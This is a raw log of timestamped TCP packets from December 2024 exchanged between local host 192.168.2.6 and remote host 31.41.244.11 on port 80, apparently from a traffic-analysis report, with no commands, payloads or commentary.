Dec 19, 2024 16:10:26.880686045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.880723000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.880764961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.882837057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.882961035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.883033037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.885071039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.885155916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.885231018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.887267113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.887281895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.887336969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.889489889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.889544964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.889703035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.891732931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.891776085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.891798019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.891818047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.893801928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.893862009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.893910885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.896075964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.896285057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.896327972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.898231983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.898288965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.898328066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.900417089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.900469065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.900509119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.901482105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.902601957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.902662992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.902710915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.904793024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.904864073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.904917002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.907023907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.907073021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.907121897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.909162045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.909327984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.909380913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.911405087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.911462069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.911573887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.913532972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.913580894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.913614988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.914273024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.915709972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.915874004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.915916920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.917934895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.918052912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.918121099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.920154095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.920167923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.920232058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.922317982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.922471046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.922521114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.924671888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.924736023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.924771070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.926280975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.926656961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.926762104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.926820040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.929181099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.929363966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.929425001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.931062937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.931160927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.931210995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.933237076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.933312893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.933350086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.933494091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.935842037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.935856104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.935921907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.937788010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.937894106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.937961102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.939835072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.939924002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.939979076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.942080021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.942121029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.942125082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.942167997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.944221973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.944264889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.944288015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.944309950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.946360111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.946413040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.946460009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.948549986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.948688984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.948746920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.950772047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.950850964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.950906038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.953577995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.953654051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.953699112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.956298113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.956357956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.956424952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.956465960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.957595110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.958272934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.031827927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.032072067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.032161951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.032299042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.032475948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.032520056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.034003973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.034048080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.034310102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.035808086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.035852909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.035901070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.037571907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.037615061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.037659883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.037692070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.039211988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.039346933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.039354086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.040884972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.040932894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.040977955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.042277098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.042562962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.042666912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.042706966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.044223070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.044399023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.044442892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.045815945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.045931101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.045948982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.045973063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.047419071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.047533989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.047586918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.049058914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.049202919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.049253941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.050543070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.050673008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.050720930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.052108049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.052194118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.052251101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.053620100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.053723097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.053769112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.055135965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.055222034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.055264950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.056564093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.056766987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.056823015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.058088064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.058181047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.058238983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.059778929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.059874058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.059921980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.061264038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.061393976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.061441898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.062479973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.062580109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.062647104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.063911915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.064028025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.064081907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.065335989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.065489054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.065535069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.066710949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.066797972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.066852093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.068150043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.068234921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.068291903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.069525957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.069647074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.069703102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.070919991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.070971012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.071028948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.071070910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.072264910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.072285891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.072314024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.072344065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.073618889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.073677063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.073713064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.073754072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.074940920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.074991941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.075128078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.075170994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.076303005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.076349020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.076441050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.076483965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.077718019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.077769041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.077869892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.077909946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.079076052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.079122066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.079201937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.079245090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.080368996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.080423117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.080463886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.080497980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.081820011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.081867933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.082016945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.082056999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.083031893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.083076954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.083178997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.083218098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.084536076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.084572077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.084759951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.084834099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.086133003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.086173058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.086256027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.086292028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.087076902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.087110996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.087125063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.087157965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.088455915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.088495016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.088558912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.088592052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.089760065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.089799881 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.089832067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.089864969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.091188908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.091228962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.091259003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.091293097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.092506886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.092541933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.092645884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.092679977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.093758106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.093803883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.093930006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.093969107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.095197916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.095238924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.095345020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.095380068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.096468925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.096508026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.096576929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.096615076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.097738981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.097778082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.097841024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.097873926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.099101067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.099143028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.099298954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.099350929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.100486040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.100524902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.100568056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.100600004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.101782084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.101819992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.101902962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.101934910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.103116989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.103163004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.103302002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.103338957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.104465961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.104509115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.104631901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.104684114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.105792999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.105830908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.105865002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.105902910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.107101917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.107146025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.224091053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.224149942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.224208117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.224236965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.224580050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.224622965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.224662066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.224700928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.225575924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.225589037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.225639105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.226620913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.226634979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.226675034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.226706982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.227699041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.227741003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.227744102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.227777004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.228689909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.228732109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.228777885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.228816032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.229707956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.229749918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.229827881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.229871035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.230870008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.230911970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.230948925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.230984926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.231939077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.231981993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.232069016 CET	80	49881	31.41.244.11	192.168.2.6
